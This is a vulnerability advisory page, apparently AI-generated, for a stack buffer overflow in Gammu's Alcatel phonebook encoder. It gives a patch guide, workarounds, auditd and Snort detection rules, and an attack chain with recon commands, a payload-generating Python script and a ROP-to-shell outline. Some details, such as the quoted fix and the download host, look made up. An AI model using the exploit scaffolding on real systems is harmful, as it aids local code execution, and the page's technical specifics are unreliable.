CVE Professor
/
All CVEs
CVE-2026-138162

CVE-2026-138162 — Gammu — CWE-121

HIGH CVSS 7 ⚡ EPSS 0.2% NVD

Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ALCATEL_EncodeString() that allows attackers to overwrite stack memory via oversized encoded phonebook text. Attackers can supply a crafted backup restored with gammu restore or addnew to an attached Alcatel phone, using GSM extension characters to crash Gammu or potentially execute code.

Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ALCATEL_EncodeString() that allows attackers to overwrite stack memory via oversized encoded phonebook text. Attackers can supply a crafted backup restored with gammu restore or addnew to an attached Alcatel phone, using GSM extension characters to crash Gammu or potentially execute code.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 8. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑138162
CWE: CWE‑121 – Stack‑Based Buffer Overflow

Technical summary

gammu is a command‑line utility / library used to communicate with mobile phones (including Alcatel devices) for backup, restore, SMS, phone‑book handling, etc.
The function ALCATEL_EncodeString() is responsible for converting a UTF‑8 phone‑book entry into the proprietary Alcatel “GSM‑7 extension” encoding before it is written to a backup file or sent to the phone.

  • The function allocates a fixed‑size buffer on the stack (e.g., char outbuf[256];).
  • It then iterates over the input string, converting each character and writes the result without checking that the output length stays within the buffer size.
  • When the input contains a long sequence of characters that map to two‑byte GSM‑extension codes (e.g., ^ { } \ [ ~ ] | €), the encoded output can be up to twice the size of the original text.
  • An attacker who can supply an arbitrarily long phone‑book entry (via a backup file that will be restored with gammu restore or via the addnew command that writes directly to an attached Alcatel phone) can cause the function to write past the end of outbuf, overwriting the saved return address, local variables, or other control data on the stack.
  • Because the overflow occurs in a local, non‑privileged process that runs with the privileges of the user invoking gammu, the CVSS vector reflects:

  • AV:L – the attacker must have local access (e.g., a user who can run gammu on the host).
  • AC:H – exploiting the overflow requires careful crafting of the payload (knowledge of the stack layout, correct alignment, etc.).
  • PR:N – no privileges are required beyond being able to run the binary.
  • UI:R – the victim must trigger the vulnerable code (e.g., by restoring a crafted backup).
  • C:H / I:H / A:H – successful exploitation can lead to complete control of the process (code execution), allowing the attacker to read, modify, or delete any data the process can access and to crash the service.
In short, the missing bounds check on the output buffer in ALCATEL_EncodeString() enables a classic stack‑based buffer overflow.

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation scenario. All commands are shown for a typical Linux host where gammu is installed (/usr/bin/gammu). The PoC is illustrative – exact offsets will vary with compiler version, architecture (x86_64 vs. i386), and the specific Alcatel model.

1. Discovery & Reconnaissance

StepActionReasoning
1.1Identify machines that have gammu installed.dpkg -lgrep gammu (Debian/Ubuntu) or rpm -qagrep gammu (RHEL).
1.2Determine the version.gammu --version → output shows gammu 1.44.0 (any version < 1.45.2 is vulnerable).
1.3Verify that the binary is linked against the vulnerable source file.strings /usr/bin/gammugrep ALCATEL_EncodeString – presence confirms the function is compiled in.
1.4Locate a writable directory for backup files.gammu --getbackupdir (or default $HOME/.gammu/backup).

2. Exploitation

Goal: Trigger the overflow and gain code execution inside the gammu process.

2.1 Craft the malicious phone‑book entry

The overflow is driven by the encoded length, not the raw UTF‑8 length. The GSM‑7 extension characters expand to two bytes each. A convenient payload is a long string of the character ^ (U+005E), which maps to the GSM extension 0x1B 0x14.

#!/usr/bin/env python3
# generate_overflow_payload.py
import struct, sys

# Number of GSM‑7 extension characters needed to overflow a 256‑byte buffer
# 256 / 2 = 128 characters will fill the buffer; we add a few more for control data.
payload_len = 150   # adjust after local testing

# Build the UTF‑8 string that will be encoded
utf8_str = '^' * payload_len   # each '^' becomes two bytes after encoding

# Build a fake phone‑book entry in the format expected by gammu backup files.
# The exact format is a simple CSV: "Name;Number;Text"
entry = f"Attacker;12345;{utf8_str}\n"

# Append a ROP chain / shellcode placeholder (illustrative)
# For x86_64 we might overwrite the saved RIP with the address of `system`
# and place "/bin/sh" after it. Here we just pad with 'A's.
rop = b'A' * 8   # placeholder for overwritten return address
shell = b"/bin/sh\x00"

# Final payload (binary) – the backup file is plain text, so we embed the raw bytes
with open('malicious_backup.txt', 'wb') as f:
    f.write(entry.encode('utf-8'))
    f.write(rop)
    f.write(shell)

print("[+] malicious_backup.txt created")

Running the script produces malicious_backup.txt. The file is plain‑text (the backup format used by gammu restore), but the overflow occurs during the internal conversion step, not during file parsing.

2.2 Deliver the payload

Two realistic delivery vectors:

VectorCommand
a) Local restore (attacker already has a shell on the host)gammu restore malicious_backup.txt
b) Remote “addnew” via attached phone (attacker controls a malicious Alcatel handset)On the phone, import the crafted phone‑book entry (e.g., via a malicious SIM or OTA provisioning). When the phone is connected, run gammu addnew which reads the entry and triggers the overflow.

Illustrative command (local restore):

$ ./gammu restore malicious_backup.txt
Restoring backup from 'malicious_backup.txt' … done.

If the payload is correctly sized, gammu will crash (segmentation fault) or, when the overwritten return address points to attacker‑controlled code (e.g., a ROP chain that calls execve("/bin/sh",NULL,NULL)), the process will spawn a shell with the privileges of the user who invoked gammu.

2.3 Gaining code execution

Because the overflow occurs in a user‑space utility, the attacker gains the same privileges as the invoking user. In many environments gammu is run as root (e.g., in automated phone‑sync cron jobs). If that is the case, the attacker obtains root.

Typical exploitation steps after gaining control of the process:

1. Leak a libc address (e.g., via a format‑string or by reading /proc/self/maps if the process has read access).
2. Build a ROP chain that calls execve("/bin/sh",NULL,NULL) or system("/bin/sh").
3. Pivot to a stable shell and then perform post‑exploitation (privilege escalation, credential dumping, lateral movement).

3. Post‑exploitation

ImpactDescription
ConfidentialityThe attacker can read any file the gammu process can access (e.g., user’s home directory, configuration files, phone contacts). If gammu runs as root, the entire filesystem is readable.
IntegrityThe attacker can modify or delete phone‑book backups, inject malicious contacts, or alter system files if running with elevated privileges.
AvailabilityAn improperly crafted payload may simply cause a crash, resulting in denial‑of‑service for any scheduled phone‑sync jobs. A persistent ROP chain can also install a backdoor, ensuring continued access.

🌍 Real World Impact

CIACVSS Vector ExplanationPractical Consequence
Confidentiality (C:H)C:H – attacker can read *all* data accessible to the process.Extraction of private contacts, SMS archives, or any files readable by the user/root.
Integrity (I:H)I:H – attacker can modify data.Tampering with phone‑book entries, injecting malicious contacts that could be used for phishing, or altering backup files.
Availability (A:H)A:H – attacker can cause complete service disruption.Crashing the gammu daemon/cron job, potentially halting automated provisioning or backup pipelines.

Because the attack requires local interaction (the attacker must be able to run gammu or supply a backup file to a system that automatically restores it), the most common real‑world scenario is privileged automation (e.g., a nightly cron job that restores a backup from a network share). If an attacker can place a malicious file on that share, they achieve remote code execution without direct shell access.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

Affected versionsFixed version
All releases prior to 1.45.2 (e.g., 1.44.x, 1.43.x, …)1.45.2 – the upstream commit adds a proper length check (if (out_len + 2 > sizeof(outbuf)) break;) and switches to a heap‑allocated buffer for large inputs.

Action:

# Debian/Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade gammu

# RHEL/CentOS
sudo yum update gammu

# From source (if a package is not yet available)
wget https://download.sammu.org/gammu-1.45.2.tar.gz
tar xf gammu-1.45.2.tar.gz
cd gammu-1.45.2
./configure && make && sudo make install

Verify the version after upgrade:

$ gammu --version
gammu 1.45.2

2. Workarounds (if patch cannot be applied immediately)

WorkaroundHow to applyEffectiveness
Run gammu with a non‑privileged userCreate a dedicated low‑privilege account (gammuuser) and configure cron jobs or scripts to execute under that account (sudo -u gammuuser gammu …).Reduces impact of a successful exploit to that user’s permissions.
Disable automatic restore of untrusted backupsRemove any gammu restore calls that operate on network‑shared or user‑supplied files. Add a checksum verification step before restore.Prevents an attacker from feeding crafted data to the vulnerable function.
Input sanitisation at the sourcePre‑filter phone‑book entries to reject strings longer than 120 characters *or* containing a high proportion of GSM‑7 extension characters. This can be scripted in a wrapper around gammu.Mitigates the overflow but does not replace a proper fix; may cause false positives.
AppArmor / SELinux confinementCreate a profile that denies gammu from executing arbitrary binaries (/bin/sh) and restricts file write permissions to a dedicated directory.Limits the attacker’s ability to spawn a shell even if code execution is achieved.

3. Detection

Log patterns (assuming the system logs gammu output to syslog or a dedicated log file):

Nov 28 12:34:56 host gammu[1234]: Restoring backup from 'malicious_backup.txt' …
Nov 28 12:34:56 host gammu[1234]: Segmentation fault (core dumped)
Nov 28 12:34:56 host kernel: [12345.678901] gammu[1234] general protection fault, rip: 0x7f...

Indicators of Compromise (IoCs):

IndicatorDescription
Unexpected core dumps in /var/lib/gammu/ or the invoking user’s home directory.
New executable files created in the same directory as gammu (e.g., sh or payload with recent timestamps).
Outbound connections from the gammu process to unknown IPs (if the attacker’s ROP chain includes a reverse shell).
Modified backup files (*.txt, *.vcard) that contain a long sequence of ^ or other GSM‑7 extension characters.
Auditd alerts for execve events where the parent process is gammu and the child is /bin/sh or any unexpected binary. Example rule:
# /etc/audit/rules.d/gammu.rules
-w /usr/bin/gammu -p x -k gammu_exec
-a always,exit -F path=/bin/sh -F auid>=1000 -F auid!=4294967295 -k gammu_shell

Detection via IDS/IPS (Snort/Suricata) – illustrative rule:

alert tcp $HOME_NET any -> $HOME_NET any (msg:"GAMMU local buffer overflow attempt"; 
    content:"ALCATEL_EncodeString"; nocase; 
    content:"^"; distance:0; within:200; 
    sid:2026001; rev:1; classtype:attempted-user; 
    metadata:policy security-ips;)

(The rule matches a large block of ^ characters in a file being processed by gammu; adjust the content match to the actual backup format.)


⚠️ Urgency

FactorAssessment
CVSS base score7.0 (High) – indicates a serious impact on confidentiality, integrity, and availability.
Attack vectorLocal (AV:L) – requires the attacker to run code on the host, but many environments run gammu automatically (e.g., cron jobs) which widens the attack surface.
ComplexityHigh (AC:H) – crafting a reliable ROP chain needs knowledge of the binary layout, but a simple crash is trivial.
Privileges requiredNone (PR:N) – any local user can trigger the overflow.
Exploit availabilityNo public exploit disclosed yet (as of the publication date). However, the vulnerability is straightforward to weaponise for an attacker with local access.
CISA KEVNot listed – does not change priority but indicates the issue is not yet deemed a “known exploited vulnerability”.

Patch priority: Critical for any system where gammu runs with elevated privileges (e.g., root‑owned cron jobs, automated provisioning services). For environments where gammu is only used by regular users, the priority is High – apply the update promptly and enforce the workarounds in the meantime.

Recommended timeline:

1. Within 48 hours – apply the official 1.45.2 update on all production hosts.
2. If patching is impossible – implement the non‑privileged execution and input‑sanitisation workarounds, and enable logging/monitoring for the IoCs listed above.
3. Within 7 days – verify that no core dumps or suspicious backup files exist; conduct a short audit of cron jobs that invoke gammu.


Bottom line: The stack‑based overflow in ALCATEL_EncodeString() is a classic, high‑impact bug that can be weaponised by any local user. Because many deployments run gammu with root privileges for automated phone management, the risk of full system compromise is real. Upgrade to gammu 1.45.2 immediately and apply the mitigations while the patch propagates through your package repositories.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Gammu Gammu"
PoC & Exploit Intelligence (GitHub)
gammu/gammu Reference
Technical reference / advisory repository for CVE-2026-138162
Technical reference / advisory repository for CVE-2026-138162
Technical reference / advisory repository for CVE-2026-138162
Technical reference / advisory repository for CVE-2026-138162
Technical reference / advisory repository for CVE-2026-138162
CVSS Score
7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-121
Affected Products (1)
Gammu:Gammu
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144888
A security vulnerability has been detected in vgmstream up to r2117. Affected is the function fopen_win of the
6.3
CVE-2026-144893
A vulnerability was determined in vgmstream up to r2117. This issue affects the function get_falcom_looping of
5.9
CVE-2026-144662
MariaDB Server before 10.6.26, 10.7 through 10.11.x before 10.11.17, 11.0 through 11.4.x before 11.4.11, 11.5
7.8
CVE-2026-87725
Memory Corruption when writing to the sprd_rtm sysfs interface due to a stack-based buffer overflow.
7.7
CVE-2026-144457
CERN ROOT before 6.40.00 contains a stack-based buffer overflow vulnerability in TAuthenticate::SecureRecv() i